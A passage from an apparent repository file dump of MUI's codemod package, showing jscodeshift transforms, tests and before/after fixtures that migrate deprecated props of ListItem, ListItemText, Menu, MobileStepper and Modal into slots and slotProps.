    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './list-item-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('list-item-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] list-item-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] list-item-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false }, packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/test-cases/actual.js",
    "content": "import ListItem from '@mui/material/ListItem';\n\n<ListItem\n  components={{ Root: ComponentsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n/>;\n<ListItem\n  slots={{ root: SlotsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  slots={{ root: SlotsRoot }}\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  ContainerComponent={Container}\n  ContainerProps={{\n    id: 'test',\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/test-cases/expected.js",
    "content": "import ListItem from '@mui/material/ListItem';\n\n<ListItem\n  slots={{\n    root: ComponentsRoot\n  }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  slotProps={{ root: slotsRootProps }}\n  slots={{\n    root: ComponentsRoot\n  }}\n/>;\n<ListItem\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n<ListItem\n  slots={{\n    root: Container\n  }}\n  slotProps={{\n    root: {\n      id: 'test',\n    }\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/test-cases/package.actual.js",
    "content": "import ListItem from '@org/ui/material/ListItem';\n\n<ListItem\n  components={{ Root: ComponentsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n/>;\n<ListItem\n  slots={{ root: SlotsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  slots={{ root: SlotsRoot }}\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  ContainerComponent={Container}\n  ContainerProps={{\n    id: 'test',\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/test-cases/package.expected.js",
    "content": "import ListItem from '@org/ui/material/ListItem';\n\n<ListItem\n  slots={{\n    root: ComponentsRoot\n  }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  slotProps={{ root: slotsRootProps }}\n  slots={{\n    root: ComponentsRoot\n  }}\n/>;\n<ListItem\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<ListItem\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n<ListItem\n  slots={{\n    root: Container\n  }}\n  slotProps={{\n    root: {\n      id: 'test',\n    }\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiListItem: {\n    defaultProps: {\n      components: { Root: ComponentsRoot },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      components: { Root: ComponentsRoot },\n      slotProps: { root: slotsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n      components: { Root: ComponentsRoot },\n      slotProps: { root: slotsRootProps },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      ContainerComponent: Container,\n      ContainerProps: {\n        id: 'test',\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiListItem: {\n    defaultProps: {\n      slots: {\n        root: ComponentsRoot\n      },\n\n      slotProps: {\n        root: componentsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      slotProps: { root: slotsRootProps },\n\n      slots: {\n        root: ComponentsRoot\n      }\n    },\n  },\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      slots: { root: SlotsRoot },\n\n      slotProps: {\n        root: componentsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      slots: {\n        root: SlotsRoot\n      },\n\n      slotProps: {\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        }\n      }\n    },\n  },\n});\n\nfn({\n  MuiListItem: {\n    defaultProps: {\n      slots: {\n        root: Container\n      },\n\n      slotProps: {\n        root: {\n          id: 'test',\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/index.js",
    "content": "export { default } from './list-item-text-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/list-item-text-props.js",
    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'ListItemText',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'ListItemText',\n    propName: 'primaryTypographyProps',\n    slotName: 'primary',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'ListItemText',\n    propName: 'secondaryTypographyProps',\n    slotName: 'secondary',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/list-item-text-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './list-item-text-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('list-item-text-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] list-item-text-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] list-item-text-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false }, packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/test-cases/actual.js",
    "content": "import ListItemText from '@mui/material/ListItemText';\n\n<ListItemText secondaryTypographyProps={secondaryTypographyProps} />;\n<ListItemText primaryTypographyProps={primaryTypographyProps} />;\n<ListItemText\n  primaryTypographyProps={primaryTypographyProps}\n  secondaryTypographyProps={secondaryTypographyProps}\n/>;\n<ListItemText\n  slotProps={{ primary: primarySlotProps }}\n  secondaryTypographyProps={secondaryTypographyProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/test-cases/expected.js",
    "content": "import ListItemText from '@mui/material/ListItemText';\n\n<ListItemText slotProps={{\n  secondary: secondaryTypographyProps\n}} />;\n<ListItemText slotProps={{\n  primary: primaryTypographyProps\n}} />;\n<ListItemText\n  slotProps={{\n    primary: primaryTypographyProps,\n    secondary: secondaryTypographyProps\n  }} />;\n<ListItemText\n  slotProps={{\n    primary: primarySlotProps,\n    secondary: secondaryTypographyProps\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/test-cases/package.actual.js",
    "content": "import ListItemText from '@org/ui/material/ListItemText';\n\n<ListItemText secondaryTypographyProps={secondaryTypographyProps} />;\n<ListItemText primaryTypographyProps={primaryTypographyProps} />;\n<ListItemText\n  primaryTypographyProps={primaryTypographyProps}\n  secondaryTypographyProps={secondaryTypographyProps}\n/>;\n<ListItemText\n  slotProps={{ primary: primarySlotProps }}\n  secondaryTypographyProps={secondaryTypographyProps}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/test-cases/package.expected.js",
    "content": "import ListItemText from '@org/ui/material/ListItemText';\n\n<ListItemText slotProps={{\n  secondary: secondaryTypographyProps\n}} />;\n<ListItemText slotProps={{\n  primary: primaryTypographyProps\n}} />;\n<ListItemText\n  slotProps={{\n    primary: primaryTypographyProps,\n    secondary: secondaryTypographyProps\n  }} />;\n<ListItemText\n  slotProps={{\n    primary: primarySlotProps,\n    secondary: secondaryTypographyProps\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiListItemText: {\n    defaultProps: {\n      primaryTypographyProps: primaryTypographyProps,\n    },\n  },\n});\n\nfn({\n  MuiListItemText: {\n    defaultProps: {\n      secondaryTypographyProps: secondaryTypographyProps,\n    },\n  },\n});\nfn({\n  MuiListItemText: {\n    defaultProps: {\n      primaryTypographyProps: primaryTypographyProps,\n      secondaryTypographyProps: secondaryTypographyProps,\n    },\n  },\n});\n\nfn({\n  MuiListItemText: {\n    defaultProps: {\n      slotProps: { primary: primarySlotProps },\n      secondaryTypographyProps: secondaryTypographyProps,\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/list-item-text-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiListItemText: {\n    defaultProps: {\n      slotProps: {\n        primary: primaryTypographyProps\n      },\n    },\n  },\n});\n\nfn({\n  MuiListItemText: {\n    defaultProps: {\n      slotProps: {\n        secondary: secondaryTypographyProps\n      },\n    },\n  },\n});\nfn({\n  MuiListItemText: {\n    defaultProps: {\n      slotProps: {\n        primary: primaryTypographyProps,\n        secondary: secondaryTypographyProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiListItemText: {\n    defaultProps: {\n      slotProps: {\n        primary: primarySlotProps,\n        secondary: secondaryTypographyProps\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/index.js",
    "content": "export { default } from './menu-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/menu-props.js",
    "content": "import movePropIntoSlots from '../utils/movePropIntoSlots';\nimport movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Menu',\n    propName: 'MenuListProps',\n    slotName: 'list',\n  });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Menu',\n    propName: 'TransitionComponent',\n    slotName: 'transition',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Menu',\n    propName: 'TransitionProps',\n    slotName: 'transition',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/menu-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './menu-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'menu-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: {\n            packageName: '@org/ui/material',\n          },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/test-cases/actual.js",
    "content": "import Menu from '@mui/material/Menu';\nimport { Menu as MyMenu } from '@mui/material';\n\n<Menu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<Menu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n  }}\n/>;\n\n<Menu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n    list: {\n      disableListWrap: true,\n    },\n    transition: {\n      'aria-hidden': true,\n    },\n  }}\n/>;\n\n<MyMenu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<CustomMenu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/test-cases/expected.js",
    "content": "import Menu from '@mui/material/Menu';\nimport { Menu as MyMenu } from '@mui/material';\n\n<Menu\n  slotProps={{\n    list: { disablePadding: true },\n    transition: { timeout: 200 }\n  }}\n  slots={{\n    transition: CustomTransition\n  }} />;\n\n<Menu\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n\n    list: { disablePadding: true },\n    transition: { timeout: 200 }\n  }}\n  slots={{\n    transition: CustomTransition\n  }} />;\n\n<Menu\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n    list: {\n      ...{ disablePadding: true },\n\n      ...{\n        disableListWrap: true,\n      }\n    },\n    transition: {\n      ...{ timeout: 200 },\n\n      ...{\n        'aria-hidden': true,\n      }\n    },\n  }}\n  slots={{\n    transition: CustomTransition\n  }} />;\n\n<MyMenu\n  slotProps={{\n    list: { disablePadding: true },\n    transition: { timeout: 200 }\n  }}\n  slots={{\n    transition: CustomTransition\n  }} />;\n\n<CustomMenu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/test-cases/package.actual.js",
    "content": "import Menu from '@org/ui/material/Menu';\nimport { Menu as MyMenu } from '@org/ui/material';\n\n<Menu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<Menu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n  }}\n/>;\n\n<Menu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n    list: {\n      disableListWrap: true,\n    },\n    transition: {\n      'aria-hidden': true,\n    },\n  }}\n/>;\n\n<MyMenu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n\n<CustomMenu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/test-cases/package.expected.js",
    "content": "import Menu from '@org/ui/material/Menu';\nimport { Menu as MyMenu } from '@org/ui/material';\n\n<Menu\n  slotProps={{\n    list: { disablePadding: true },\n    transition: { timeout: 200 }\n  }}\n  slots={{\n    transition: CustomTransition\n  }} />;\n\n<Menu\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n\n    list: { disablePadding: true },\n    transition: { timeout: 200 }\n  }}\n  slots={{\n    transition: CustomTransition\n  }} />;\n\n<Menu\n  slotProps={{\n    root: {\n      disablePortal: true,\n    },\n    list: {\n      ...{ disablePadding: true },\n\n      ...{\n        disableListWrap: true,\n      }\n    },\n    transition: {\n      ...{ timeout: 200 },\n\n      ...{\n        'aria-hidden': true,\n      }\n    },\n  }}\n  slots={{\n    transition: CustomTransition\n  }} />;\n\n<MyMenu\n  slotProps={{\n    list: { disablePadding: true },\n    transition: { timeout: 200 }\n  }}\n  slots={{\n    transition: CustomTransition\n  }} />;\n\n<CustomMenu\n  TransitionComponent={CustomTransition}\n  MenuListProps={{ disablePadding: true }}\n  TransitionProps={{ timeout: 200 }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiMenu: {\n    defaultProps: {\n      MenuListProps: { disablePadding: true },\n      TransitionComponent: CustomTransition,\n      TransitionProps: { timeout: 200 },\n    },\n  },\n});\n\nfn({\n  MuiMenu: {\n    defaultProps: {\n      TransitionComponent: CustomTransition,\n      MenuListProps: { disablePadding: true },\n      TransitionProps: { timeout: 200 },\n      slotProps: {\n        root: { disablePortal: true },\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/menu-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiMenu: {\n    defaultProps: {\n      slotProps: {\n        list: { disablePadding: true },\n        transition: { timeout: 200 }\n      },\n\n      slots: {\n        transition: CustomTransition\n      }\n    },\n  },\n});\n\nfn({\n  MuiMenu: {\n    defaultProps: {\n      slotProps: {\n        root: { disablePortal: true },\n        list: { disablePadding: true },\n        transition: { timeout: 200 }\n      },\n\n      slots: {\n        transition: CustomTransition\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/index.js",
    "content": "export { default } from './mobile-stepper-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/mobile-stepper-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'MobileStepper',\n    propName: 'LinearProgressProps',\n    slotName: 'progress',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/mobile-stepper-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './mobile-stepper-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'mobile-stepper-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/test-cases/actual.js",
    "content": "import MobileStepper from '@mui/material/MobileStepper';\nimport { MobileStepper as MyMobileStepper } from '@mui/material';\n\n<MobileStepper variant=\"progress\" LinearProgressProps={{ variant: 'determinate' }} />;\n<MyMobileStepper\n  variant=\"progress\"\n  LinearProgressProps={{ variant: 'determinate' }}\n  slotProps={{\n    progress: {\n      sx: { width: '100%' },\n    },\n  }}\n/>;\n\n<CustomMobileStepper LinearProgressProps={{ variant: 'determinate' }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/test-cases/expected.js",
    "content": "import MobileStepper from '@mui/material/MobileStepper';\nimport { MobileStepper as MyMobileStepper } from '@mui/material';\n\n<MobileStepper variant=\"progress\" slotProps={{\n  progress: { variant: 'determinate' }\n}} />;\n<MyMobileStepper\n  variant=\"progress\"\n  slotProps={{\n    progress: {\n      ...{ variant: 'determinate' },\n\n      ...{\n        sx: { width: '100%' },\n      }\n    },\n  }} />;\n\n<CustomMobileStepper LinearProgressProps={{ variant: 'determinate' }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/test-cases/package.actual.js",
    "content": "import MobileStepper from '@org/ui/material/MobileStepper';\nimport { MobileStepper as MyMobileStepper } from '@org/ui/material';\n\n<MobileStepper variant=\"progress\" LinearProgressProps={{ variant: 'determinate' }} />;\n<MyMobileStepper\n  variant=\"progress\"\n  LinearProgressProps={{ variant: 'determinate' }}\n  slotProps={{\n    progress: {\n      sx: { width: '100%' },\n    },\n  }}\n/>;\n\n<CustomMobileStepper LinearProgressProps={{ variant: 'determinate' }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/test-cases/package.expected.js",
    "content": "import MobileStepper from '@org/ui/material/MobileStepper';\nimport { MobileStepper as MyMobileStepper } from '@org/ui/material';\n\n<MobileStepper variant=\"progress\" slotProps={{\n  progress: { variant: 'determinate' }\n}} />;\n<MyMobileStepper\n  variant=\"progress\"\n  slotProps={{\n    progress: {\n      ...{ variant: 'determinate' },\n\n      ...{\n        sx: { width: '100%' },\n      }\n    },\n  }} />;\n\n<CustomMobileStepper LinearProgressProps={{ variant: 'determinate' }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiMobileStepper: {\n    defaultProps: {\n      LinearProgressProps: { variant: 'determinate' },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/mobile-stepper-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiMobileStepper: {\n    defaultProps: {\n      slotProps: {\n        progress: { variant: 'determinate' }\n      },\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/index.js",
    "content": "export { default } from './modal-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/modal-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\nimport movePropIntoSlots from '../utils/movePropIntoSlots';\nimport replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, { root, packageName: options.packageName, componentName: 'Modal' });\n\n  movePropIntoSlots(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Modal',\n    propName: 'BackdropComponent',\n    slotName: 'backdrop',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Modal',\n    propName: 'BackdropProps',\n    slotName: 'backdrop',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/modal-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './modal-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'modal-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/test-cases/actual.js",
    "content": "import Modal from '@mui/material/Modal';\n\n<Modal\n  components={{ Root: ComponentsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n/>;\n<Modal\n  slots={{ root: SlotsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  slots={{ root: SlotsRoot }}\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  BackdropComponent={Backdrop}\n  BackdropProps={{\n    timeout: 500,\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/test-cases/expected.js",
    "content": "import Modal from '@mui/material/Modal';\n\n<Modal\n  slots={{\n    root: ComponentsRoot\n  }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  slotProps={{ root: slotsRootProps }}\n  slots={{\n    root: ComponentsRoot\n  }}\n/>;\n<Modal\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  slots={{ root: SlotsRoot }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n<Modal\n  slots={{\n    backdrop: Backdrop\n  }}\n  slotProps={{\n    backdrop: {\n      timeout: 500,\n    }\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/test-cases/package.actual.js",
    "content": "import Modal from '@org/ui/material/Modal';\n\n<Modal\n  components={{ Root: ComponentsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n/>;\n<Modal\n  slots={{ root: SlotsRoot }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  slots={{ root: SlotsRoot }}\n  components={{ Root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n<Modal\n  BackdropComponent={Backdrop}\n  BackdropProps={{\n    timeout: 500,\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/modal-props/test-cases/package.expected.js",
